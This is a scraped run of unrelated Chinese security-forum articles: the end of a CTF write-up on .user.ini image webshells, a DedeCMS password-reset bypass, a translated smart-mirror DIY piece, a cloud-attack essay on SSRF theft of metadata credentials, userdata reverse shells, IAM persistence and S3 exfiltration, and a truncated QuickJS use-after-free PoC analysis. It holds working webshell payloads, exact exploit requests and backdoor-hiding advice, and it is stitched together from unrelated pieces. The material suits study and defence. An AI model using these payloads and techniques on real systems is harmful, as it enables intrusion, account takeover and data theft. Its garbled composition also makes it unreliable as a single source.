看过`.user.ini`的分析后我们的思路应该比较清晰了，我们可以上传一个这样的`.user.ini`：
GIF89a
auto_prepend_file=a.jpg
此时我们注意到上传目录下还有一个index.php，我们正好需要该目录下有一个可执行php文件，那这简直暴露了考点就是`.user.ini`，看来这个思路应该是可行的
然后再上传一个这样的图片马a.jpg：
GIF89a
<script language='php'>system('cat /flag');</script>
最后，我们访问<http://192.168.177.152:9021/uploads/6683eb5bfa1174bd139499256f60b7ab/index.php>
即可得到flag
* * *
## .user.ini实战利用的可能性
综上所述`.user.ini`的利用条件如下：
1. 服务器脚本语言为PHP
2. 服务器使用CGI／FastCGI模式
3. 上传目录下要有可执行的php文件
从这来看`.user.ini`要比`.htaccess`的应用范围要广一些，毕竟`.htaccess`只能用于Apache
但仔细推敲我们就会感到 **“上传目录下要有可执行的php文件”**
这个要求在文件上传中也比较苛刻，应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。
但也不是全无办法，如果我们根据实际情况配合其他漏洞使用可能会有奇效，前段时间我遇到一个CMS对上传时的路径没有检测`../`，因此导致文件可被上传至任意目录，这种情况下我们就很有可能可以利用`.user.ini`
除此之外，把`.user.ini`利用在隐藏后门上应该是个很好的利用方法，我们在存在php文件的目录下留下`.user.ini`和我们的图片马，这样就达到了隐藏后门的目的。
* * *
**参考文章：**
<https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html> | 社区文章 |
## 漏洞原因
### 弱类型问题
类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型，或者是两个变量不匹配的时候，PHP会自动地进行变量转换。但是PHP是一个弱类型的语言，导致在进行类型转换的时候会存在很多意想不到的问题。
如果在用于密码比对,身份验证中没有对类型进行强处理，往往会导致对比成功，身份伪造等等。
### 常见的弱类型对比
* 数字型与其对应的字符串
* 0 == '0' => true
* 0 与 不包含任何数字字符串
* 0 == 'abc' => true
* 数字型与其在前缀的字符串
* 1 == '1abc' => true
* 数学计算运算
* '1e0'=='1e2' => true
* "10" == "1e1" => true
* ‘0e10’ == '0e1000' => true
* '0x001'=='1' => true
* md5('s878926199a') == 0 => true
* 这里是 md5('s878926199a') 的值是 0e 开头 。和上面第一种一样
* 更多0e的哈希看这里 [PHP处理0e开头md5哈希字符串缺陷/bug](http://www.cnblogs.com/Primzahl/p/6018158.html)
* empty
* empty('0') == empty('0.0') false
* empty('0') == empty(0.0) true
* empty 返回 TRUE的情况：
* 若变量不存在则返回 TRUE
* 若变量存在且其值为""、0、"0"、NULL、、FALSE、array()、var $var; 以及没有任何属性的对象，则返回 TURE
### 产生弱类型的函数
* strcmp
* In_array
* array_search
* ....
## 漏洞分析
### 使用安全问题重置密码存在弱类型
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
* dedecms/member/resetpassword.php //78
* $safequestion 用户输入的安全问题
* $row['safequestion'] 数据库保存的安全问题
* $safeanswer 用户输入的安全问题回答
* $row['safeanswer'] 数据库保存的安全问题回答
如果该用户没有设置过任何安全问题。那么，
* $row['safequestion'] = 0
* 当 $safequestion = '0.0' 的时候
* 第一个 if(empty($safequestion)) 不成立
* 最后 if $row['safequestion'] == $safequestion 0 = '0.0' 成立
* 而 $row['safeanswer'] 原本就为空 导致第二个条件 $row['safeanswer'] == $safeanswer
* 从而进入SN函数，SN函数最后一个参数 Y 发送邮件，N不发送邮件
SN函数：
* SN函数主要负责发验证和发送邮件。
* 如果通过安全问题召回密码，那么直接构造修改URL的地址返回客户端直接修改
## 漏洞验证
* 安装DEDE
* 打开系统 系统基本参数 会员设置 开启会员功能
* POST /dede/member/resetpassword.php
* 参数 dopost=safequestion&gourl=&id=2&safequestion=0.0
* id 换成 对应的用户ID
* 返回的包
* [http://你的url/member/resetpassword.php?dopost=getpasswd&id=&key=e688e1ox](http://你的url/member/resetpassword.php?dopost=getpasswd&id=&key=e688e1ox)
* 直接复制这个链接打开 即可可以重制密码
## 利用前提条件
* DEDE开启了会员功能
* 修改密码的会员没有设置安全问题
## 修复建议
* 把用户重制部分所有验证的部分替换成 '==' 替换成 '==='
## 漏洞原文
[【漏洞分析】 织梦前台任意用户密码修改锦行 -信息安全](https://mp.weixin.qq.com/s/2ULQj2risPKzskX32WRMeg) | 社区文章 |
# 【技术分享】和我一起动手做“魔镜”
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://hackernoon.com/i-made-myself-a-smart-mirror-50e56966c478#.l2ey69e3l>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**
****](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：170RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
开始之前，让我先给大家介绍一下谷歌的工程师Max
Braun。这是一位走在时代前沿的工科男，他竟然自己动手在浴室中安装了一块智能镜子，而他所使用的材料并不贵，制作过程也并不难。现在，这块镜子已经成为了他的一个消息提醒中心了，他可以在刷牙的时候直接查看到当前的时间、日期、天气、以及最新的新闻头条。虽然这块镜子还不能发出消息提示音，但是它可以进行实时更新。毫无疑问，这样的一块智能镜子肯定会给你家的客人留下深刻的印象，接下来，让我们看看这款另类的“把妹神器”是如何制作而成的吧！
首先声明，我这块智能镜子的UI界面是基于Max Braun的那块智能镜子制作而成的，但是我对他的UI进行了一些修改，并在其中也融入了一些自己的风格。
**写在前面的话**
最近，我听见很多人在讨论如何去制作一块智能镜子，但是我一直都对此不感兴趣。直到最近我才突然意识到，如果有一块这样的智能镜子，也许我的生活会更加多姿多彩。我之所以会有这样的感觉，是因为我早上起床之后通常都处于一种“马上要迟到”的状态，而智能镜子就可以帮上大忙了，它可以迅速地将我所需要的全部信息提供给我。这样一来，我就可以节省下很多时间了。
如上图所示，镜子的左侧显示的是当日的天气情况，温度的下方是风速情况，其实就是一个简短的天气预报。镜子的右侧是当前的时间和日期，日期下方显示的是我去学校所需的交通时长，这个时长是系统根据当前的道路交通情况所给出预计时间。
**所需零件**
**双向玻璃镜**
所谓双向玻璃镜，指的是对于镜前的人只有镜子功能,
对于镜后的人只有透明玻璃的功能。由于我还在读大学，我的经费极其有限，所以我只能选一块最便宜的镜子：一块[双向亚克力玻璃镜](http://www.tapplastics.com/product/plastics/cut_to_size_plastic/two_way_mirrored_acrylic/558)（塑料镜）。我选的是一块无边框的镜子，所以我得在镜子的四个角落钻四个洞，然后用[铝制支架](https://mbs-standoffs.com/glass-standoffs.html)将其安装在我家的墙上（我发现同一牌子的支架在美亚上卖的比较便宜，国内用户建议首选X宝）。
**显示器**
正好我手头上有一台即将淘汰的笔记本电脑，所以我打算直接将这台笔记本电脑的显示器拆下来，然后将它安装在我的镜子上。但显示器还需要一块合适的[控制电路板](http://www.ebay.com/itm/180979602491?_trksid=p2060353.m2749.l2649&ssPageName=STRK%3AMEBIDX%3AIT)，所以果断上eBay淘了一块回来。当然了，国内用户依旧建议首选X宝。
由于我的显示器分辨率不是很高，质量也不是很好，所以如果应用程序使用的是黑色背景，那么显示器就容易从镜子后方漏光出来。但是我摆弄了一下之后发现，我只需要稍微调整一下背景的颜色，这样从正常的角度看过去就不会看到漏光了。经过微调之后，我最终所使用的颜色十六进制值为#060709。
**亚马逊Fire电视棒**
至于这个零件，那就看你的个人喜好了。对于我来说，最简单的显示信息方法就是使用亚马逊Fire电视棒了。当然了，条件允许的话你也可以选择使用树莓派，毕竟树莓派要更加的高大上。
因为我想要自己控制所有的显示内容，所以我还专门为它开发了一款安卓应用。
经过一番权衡之后，我打算使用Dark Sky的API来接收天气预报更新。在估算交通时长上，我使用的是谷歌的[Distance Matrix
API](https://developers.google.com/maps/documentation/distance-matrix/)。然后我再用一个JavaScript脚本（[Moment.js](http://momentjs.com/)）来显示当前的时间和日期。
如果开发APP对你来说不太现实的话，你也可以选择使用这款名叫Magic
Mirror的应用程序，网上有很多关于这个应用的基础教程，所以我就不在这里啰嗦了[[教程传送门]](https://magicmirror.builders/)。
**可选组件**
我去外面找了一块黑色的泡沫板，将其剪得跟我的镜子大小一样，接下来把显示器安装在镜子和泡沫板的中间，最后再将它们一起用铝制支架安装在墙上，这样可以更好地保护它俩的安全。一定要注意给支架留下一定的缝隙，不然就无法牢固地安装在墙上了，你不放心的话也可以多缠点胶带上去，反正在背面，你也看不到，不会影响美观。
我发现，用绝缘胶带缠上显示器正面的边框部分可以减少屏幕的漏光。除此之外，墙上安装镜子的位置选择也非常的重要，特别是你打算使用固定支架的时候，你必须保证墙上打的孔是水平的，并且最好要多次测量之后再进行安装。
**接下来要干嘛？**
接下来，我打算将运动传感器整合进去，当某人从镜子面前走过的时候，镜子就会亮起并显示信息。这样做比较省电，而且看起来也更加有科技感。还有一个可以改进的地方就是，等我有钱之后，我一定要弄一块真正的双面玻璃镜，因为这块塑料镜有一些弯曲，而每次我照镜子的时候都像在玩哈哈镜一样。
总体来说，整个制作过程还是非常有意思的，而且在家中安装这样的一块镜子肯定会给你的生活带来更多的情趣。毕竟，制作整个镜子只花了我两百美金。 | 社区文章 |
# 浅谈云上攻防之——元数据服务带来的安全挑战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ruiqiang
## 前言
在针对云上业务的的攻击事件中，很多攻击者将攻击脆弱的元数据服务作为攻击流程中重要的一个环节并最终造成了严重的危害。
以2019年的美国第一资本投资国际集团（CapitalOne）信息泄露事件举例，根据《ACase Study of the Capital One Data
Breach》报告指出，攻击者利用CapitalOne部署在AWS云上实例中的SSRF漏洞向元数据服务发送请求并获取角色的临时凭证，在获取角色临时凭据后将该角色权限下的S3存储桶中的数据复制到攻击者的本地机器上，最终导致这一严重数据泄露事件的产生，这一事件影响了北美超过1亿人。CapitalOne
的股价在宣布数据泄露后收盘下跌 5.9%，在接下来的两周内总共下跌了 15%。
Capital One信息泄露事件攻击原理图，可参见图：
CapitalOne信息泄露事件攻击原理图
在介绍元数据服务带来的安全挑战之前，我们先来简单介绍一下元数据服务以及角色的概念。
## 元数据服务以及角色介绍
### 元数据服务
元数据即表示实例的相关数据，可以用来配置或管理正在运行的实例。用户可以通过元数据服务在运行中的实例内查看实例的元数据。
以AWS举例，可以在实例内部访问如下地址来查看所有类别的实例元数据：
http://169.254.169.254/latest/meta-data/
169.254.169.254属于链路本地地址（Link-localaddress），链路本地地址又称连结本地位址，是计算机网络中一类特殊的地址，它仅供于在网段，或广播域中的主机相互通信使用。这类主机通常不需要外部互联网服务，仅有主机间相互通讯的需求。IPv4链路本地地址定义在169.254.0.0/16地址块。
而在具体的技术实现上，云厂商将元数据服务运行在Hypervisor（虚拟机管理程序）上。当实例向元数据服务发起请求时，该请求不会通过网络传输，也永远不会离开这一台计算机。基于这个原理，元数据服务只能从实例内部访问。
可以PING云厂商所提供的元数据服务域名，以查看其IP地址
从上图可见，元数据服务属于链路本地地址。
从设计上来看，元数据服务看起来很安全，那为什么说元数据服务脆弱呢？
由于元数据服务部署在链路本地地址上，云厂商并没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的SSRF漏洞对实例的元数据服务进行访问。
因此，如果实例中应用中存在SSRF漏洞，那么元数据服务将会完全暴露在攻击者面前。
在实例元数据服务提供的众多数据中，有一项数据特别受到攻击者的青睐，那就是角色的临时访问凭据。这将是攻击者由SSRF漏洞到获取实例控制权限的桥梁。
### 访问管理角色
既然攻击涉及到访问管理角色的临时凭据，我们首先看下访问管理角色是什么：
访问管理的角色是拥有一组权限的虚拟身份，用于对角色载体授予云中服务、操作和资源的访问权限。用户可以将角色关联到云服务器实例。为实例绑定角色后，将具备以下功能及优势：
* 可使用 STS 临时密钥访问云上其他服务
* 可为不同的实例赋予包含不同授权策略的角色，使实例对不同的云资源具有不同的访问权限，实现更精细粒度的权限控制
* 无需自行在实例中保存 SecretKey，通过修改角色的授权即可变更权限，快捷地维护实例所拥有的访问权限
具体的操作流程如下：
在将角色成功绑定实例后，用户可以在实例上访问元数据服务来查询此角色的临时凭据，并使用获得的临时凭据操作该角色权限下的云服务API接口。
## 针对元数据服务的攻击
接下来我们将介绍下针对元数据服务的一些常见的攻击模式。攻击者可以首先通过目标实例上的SSRF漏洞获取与实例绑定的角色名称（rolename）。攻击者可以构造访问元数据接口的payload，并通过存在SSRF漏洞的参数传递：
http://x.x.x.x/?url=http://169.254.169.254/latest/meta-data/iam/info
在获取到角色名称后，攻击者可以继续通过SSRF漏洞获取角色的临时凭证：
http://x.x.x.x/url=http://169.254.169.254/latest/metadata/iam/security-credentials/<rolename>
获取角色临时凭据的案例可参见下图:
从上图可见，攻击者可以获取角色的TmpSecretID以及TmpSecretKey。
在攻击者成功获取角色的临时凭据后，将会检查获取到的角色临时凭据的权限策略。
有的时候，可以通过获取到的角色名称，来猜测该角色的权限策略，例如角色名为：TKE_XXX，则这个角色很大可能是拥有操作TKE容器服务的权限。
此外，如果获取的临时密钥拥有查询访问管理接口的权限，攻击者可以通过访问“访问管理”API来准确获取的角色权限策略。可以通过如下几种方式判断获取角色的权限策略：
1、通过使用临时API凭据访问“获取角色绑定的策略列表”API接口，见下图：
从上图可见，攻击者获取到的与实例绑定的角色的临时凭据权限策略是“AdministratorAccess”,这个策略允许管理账户内所有用户及其权限、财务相关的信息、云服务资产。
2、通过使用临时API凭据访问“获取角色详情”API接口，见下图：
通过查询的返回结果可以见，角色的权限策略为AssumeRole。
在弄清楚窃取的凭据所拥有的权限后，攻击者便可以通过凭据的权限制定后续的攻击流程。
但在开始后续的攻击阶段之前，攻击者会先判断当前权限是否可以获取目标的数据资源。
在所有云资源中，攻击者们往往对目标的数据更加感兴趣。如果攻击者获取的密钥拥有云数据库服务或云存储服务等服务的操作权限，攻击者将会尝试窃取目标数据。
临时凭据同样也可以帮助攻击者们在目标实例中执行指令并控制实例权限。
与通过密钥构造请求这种方式发起攻击相比，攻击者们在实战中更倾向于使用云命令行工具来进行攻击。
云服务厂商为用户提供了相应的云命令行工具以管理云服务，例如腾讯云提供的TCCLI工具、AWS的AWSCLI工具。攻击者可以通过在云命令行工具中配置窃取到的API密钥来对云资源进行调用。与构造请求访问云API接口这种方式相比，使用云命令行工具将会给攻击者带来更多便捷。
在使用云命令行工具之前，应先配置API密钥，以AWSCLI工具配置举例，可以将：
攻击者将窃取来的AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN配置完成后，可以使用云命令行工具在目标实例上执行命令。
在配置好密钥后，攻击者可以尝试使用如下图命令通过AWSCLI在实例中运行bash脚本以获取实例控制权限。
借助通过元数据服务窃取到的凭据以及AWSCLI所提供的功能,攻击者可以在实例中执行反弹shell命令，由此进入实例。
除此之外，攻击者还可以选择修改userdata，将反弹shell写入userdata中后将实例重启，从而控制实例。
Userdata涉及到云厂商提供的一种功能，这项功能允许用户自定义配置在实例启动时执行的脚本的内容。
通过这一功能，攻击者可以尝试在实例的userdata中写入恶意代码，这些代码将会在实例每次启动时自动执行。
以AWS举例，攻击者可以将恶意代码写入my_script.txt文件中，然后执行如下指令将my_script.txt文件中内容导入userdata中。
随后，攻击者通过如下命令重启实例：
当实例重启时，userdata中的恶意代码将会被执行。
攻击者除了可以使用临时凭据获取实例的控制权限，通过元数据服务窃取到的拥有一定权限的角色临时凭据在持久化阶段也发挥着作用。攻击者尝试使用通过元数据服务获取的临时凭据进行持久化操作，确保能够持续拥有访问权限，以防被发现后强行终止攻击行为。
使用临时凭据进行持久化的方式有很多，比如说在上文中所提及的在userdata中写入恶意代码这项攻击技术，也是可以运用在持久化阶段：通过在实例的userdata中写入恶意代码，这些代码将会在实例每次启动时自动执行。这将很好的完成持久化操作而不易被发现。
除此之外，攻击者还可以尝试在账户中创建一个新的用户以进行持久化，以AWSCLI举例，攻击者可以通过awsiam create-user –user-name
Bob 为账户新建一个名为Bob的用户
随后使用awsiam create-access-key –user-name Bob指令为Bob用户创建凭据
虽然这个方法操作简单且有效，但是账户里突然新增的用户及其容易被察觉，因此并不是一个特别有效的持久化方式。
此外，攻击者还会使用一种常见的持久化手法，那就是给现有的用户分配额外的密钥。以针对AWS的攻击来说，攻击者可以使用aws_pwn这款工具来完成这项攻击，aws_pwn地址如下：
https://github.com/dagrz/aws_pwn
aws_pwn提供了多项技术以供攻击者可以完成针对aw的持久化攻击，关于aws_pwn所提供的持久化功能可见下图：
通过元数据服务窃取也可以被攻击者应用于横向移动操作。攻击者可以通过元数据服务窃取角色的临时凭据横向移动到角色对应权限的资源上。除此之外，攻击者会在所控制的实例上寻找配置文件，并通过配置文件中的配置项中获取其他资源的访问方式以及访问凭据。
攻击者在横向移动的过程中，获取到可以操作云数据库或存储服务必要权限的密钥或是登录凭据后，攻击者就可以访问这些服务并尝试将其中的用户数据复制到攻击者的本地机器上。
以AWSCLI为例，攻击者可以通过如下命令将s3存储桶中的内容同步到本地
仍然以上文提及的CapitalOne银行数据泄露事件举例，攻击者使用获取到的角色临时凭据，多次执行“awss3 ls”命令，获取CapitalOne
账户的存储桶的完整列表；
接着攻击者使用 sync命令将近30 GB 的Capital One用户数据复制到了攻击者本地。
总的来说，元数据服务为云上安全带来了极大的安全挑战，攻击者在通过SSRF等漏洞获取到实例绑定的角色的临时凭据后，将会将其应用于云上攻击的各个阶段。通过破坏用户系统，滥用用户资源、加密用户资源并进行勒索等手段影响用户环境正常使用。
## 元数据安全性改进
以AWS为例，AWS为了解决元数据服务在SSRF 攻击面前暴露出的安全性问题，引入IMDSv2来改善其总体安全情况。
在IMDSv2中，如果用户想访问元数据服务，首先需要在实例内部向IMDSv2发送一个HTTPPUT请求来启动会话，示例如下：
X-aws-ec2-metadata-token-ttl-seconds用于指定生存时间（TTL）值（以秒为单位），上文中生成的token有效期为6小时（21600秒），在IMDSv2中21600秒是允许的最大TTL值。此请求将会返回一个token，后续访问元数据服务，需要在HTTPheader中携带此token，见如下请求：
完整流程如下：
TOKEN=`curl-X PUT “http://169.254.169.254/latest/api/token” -H”X-aws-ec2-metadata-token-ttl-seconds: 21600″
curlhttp://169.254.169.254/latest/meta-data/profile -H“X-aws-ec2-metadata-token: $TOKEN”
流程图如下:
可见，在采用IMDSv2时，即使实例中应用存在SSRF漏洞，攻击者也无法轻易的利用SSRF漏洞向元数据服务发出PUT请求来获取token，在没有token的情况下，攻击者并不能访问元数据服务，也就无法获取角色的临时凭据进行后续的攻击行为。
除了使用PUT启动请求这项安全策略之外，IMDSv2还引入了如下两个机制保证元数据服务的安全：
1. 不允许X-Forwarded-For标头：如果攻击者通过反向代理的方式的确可以绕过PUT限制，但是，通过代理传递的请求将包含“ X-Forwarded-For”标头。这样的请求被IMDSv2拒绝，并且不发行令牌。
2. IP数据包TTL设置为“ 1”：TTL指定数据包被路由器丢弃之前允许通过的最大网段数量，是IP数据包在网络中可以转发的最大跳数(跃点数),将其值设置为1可确保包含机密令牌的HTTP响应不会在实例外部传播。即使攻击者能够绕过所有其他保护措施，这也将确保令牌不会在实例外部传播，并且一旦数据包离开实例，数据包将被丢弃。
值得注意的是，AWS认为现有的实例元数据服务（IMDSv1）是完全安全的，因此将继续支持它。如果不执行任何操作，则IMDSv1和IMDSv2都可用于EC2实例。这就是说，在不主动禁用IMDSv1的情况下，实例仍存在着安全隐患。
## 元数据服务更多安全隐患
IMDSv2方案的确可以有效的保护存在SSRF漏洞的实例，使其元数据不被攻击者访问。但是这项技术可以完美的保护元数据、保护租户的云业务安全吗？答案是不能。
设想一下：当攻击者通过其他漏洞（例如RCE漏洞）获取实例的控制权之后，IMDSv2的安全机制将变得形同虚设。攻击者可以在实例上发送PUT请求获取token，随后利用获得的token获取角色临时凭据，最后利用角色临时凭据访问角色绑定的一切云业务，具体流程见下图：
总之，当攻击者通过RCE漏洞获取实例控制权后，可以通过元数据服务获取到的临时凭据进行横向移动。鉴于云厂商产品API功能的强大性，在获取角色临时凭据后，可能造成及其严重的影响
值得注意的是，如果在云平台控制台中执行一些高危行为，平台默认都会需要进行手机验证。但通过使用临时凭据调用发送请求调用API接口，并不需要手机验证码，可以绕过这项安全检测。
## 参考文献
https://aws.amazon.com/cn/blogs/china/talking-about-the-metadata-protection-on-the-instance-from-the-data-leakage-of-capital-one/
https://medium.com/@shurmajee/aws-enhances-metadata-service-security-with-imdsv2-b5d4b238454b
https://web.mit.edu/smadnick/www/wp/2020-07.pdf
https://github.com/dagrz/aws_pwn
https://docs.aws.amazon.com/zh_cn/cli/latest/userguide/cli-services-s3-commands.html#using-s3-commands-managing-objects-sync
https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/id_users_create.html
https://rhinosecuritylabs.com/cloud-security/aws-security-vulnerabilities-perspective/ | 社区文章 |
从twitter上看到了一个关于quickjs漏洞挖掘与漏洞利用的一次竞赛:<http://rce.party/cracksbykim-quickJS.nfo>
一共看到6个poc，3个代码审计、2个fuzzing、1个凭感觉..........，最后两个完成了exp，控制了eip/rip。
我试着分析了其中一个漏洞，并记录了整个过程。
## 0x1 POC
let spray = new Array(100);
let a = [{hack:0},1,2,3,4];
let refcopy = [a[0]];
a.__defineSetter__(3,()=>{throw 1;});
try {
a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;
for (let i=0; i<1000; i++) spray[i] = [13371337];
console.log(refcopy[0]);
用AddressSanitizer编译quickjs源码，根据AddressSanitizer的结果来分析漏洞的触发过程。
AddressSanitizer 结果：
==2368==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000091d0 at pc 0x0000005220c5 bp 0x7fffffff8ab0 sp 0x7fffffff8aa8
READ of size 4 at 0x6070000091d0 thread T0
[New process 2372]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 2372 is executing new program: /usr/lib/llvm-6.0/bin/llvm-symbolizer
Error in re-setting breakpoint 1: No source file named quickjs.c.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
#0 0x5220c4 in JS_DupValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:579:21
#1 0x52ff47 in JS_GetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:6909:20
#2 0x547cfe in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15825:23
#3 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
#4 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
#5 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
#6 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
#7 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
#8 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
#9 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
#10 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
#11 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#12 0x41d909 in _start (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x41d909)
0x6070000091d0 is located 0 bytes inside of 72-byte region [0x6070000091d0,0x607000009218)
freed by thread T0 here:
#0 0x4dd5f0 in __interceptor_free.localalias.0 (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd5f0)
#1 0x66e865 in js_def_free /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1312:5
#2 0x5212a5 in js_free_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1023:5
#3 0x5805fc in free_object2 /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4828:9
#4 0x57fd6a in free_object /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4836:9
#5 0x57fb7c in __JS_FreeValueRT /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4871:9
#6 0x5a8d68 in __JS_FreeValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4906:5
#7 0x51dbd8 in JS_FreeValue.66 /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:560:13
#8 0x55df27 in set_value /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1796:5
#9 0x562dc1 in JS_SetPropertyInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7467:13
#10 0x56d26c in JS_SetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7779:15
#11 0x548901 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15888:23
#12 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
#13 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
#14 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
#15 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
#16 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
#17 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
#18 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
#19 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
#20 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 here:
#0 0x4dd7c0 in malloc (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd7c0)
#1 0x66e6f5 in js_def_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1296:11
#2 0x52e301 in js_malloc_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1018:12
#3 0x52e164 in js_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1058:11
#4 0x59fc5c in JS_NewObjectFromShape /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4162:9
#5 0x51cfd1 in JS_NewObjectProtoClass /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4274:12
#6 0x556f23 in JS_NewObject /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4347:12
#7 0x538b02 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:14591:21
#8 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
#9 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
#10 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
#11 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
#12 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
#13 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
#14 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
#15 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
#16 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
有了AddressSanitizer的帮助我们可以很清楚看到内存是在哪分配的、在哪释放的、在哪又重新引用了。
使用内存
577 if (JS_VALUE_HAS_REF_COUNT(v)) {
578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579 p->ref_count++;
580 }
释放内存
1796 JS_FreeValue(ctx, old_val);
分配内存
14590 CASE(OP_object):
14591 *sp++ = JS_NewObject(ctx);
## 0x2 简单分析
有了上面的信息，我试着逐行运行poc文件，尝试去理解quickjs是怎么解析js语法的。
**let a = [1,2,3] //创建数组**
14855 CASE(OP_array_from):
14856 {
14857 int i, ret;
14858
14859 call_argc = get_u16(pc);
14860 pc += 2;
14861 ret_val = JS_NewArray(ctx);
14862 if (unlikely(JS_IsException(ret_val)))
14863 goto exception;
14864 call_argv = sp - call_argc;
14865 for(i = 0; i < call_argc; i++) {
14866 ret = JS_DefinePropertyValue(ctx, ret_val, __JS_AtomFromUInt32(i), call_argv[i],
14867 JS_PROP_C_W_E | JS_PROP_THROW);
14868 call_argv[i] = JS_UNDEFINED;
14869 if (ret < 0) {
14870 JS_FreeValue(ctx, ret_val);
14871 goto exception;
14872 }
14873 }
14874 sp -= call_argc;
14875 *sp++ = ret_val;
14876 }
14877 BREAK;
gdb 调试结果
gdb-peda$ p call_argc
$2 = 0x3
gdb-peda$ p call_argv
$3 = (JSValue *) 0x7fffffff8fd0
gdb-peda$ x /6xg 0x7fffffff8fd0
0x7fffffff8fd0: 0x0000000000000001 0x0000000000000000
0x7fffffff8fe0: 0x0000000000000002 0x0000000000000000
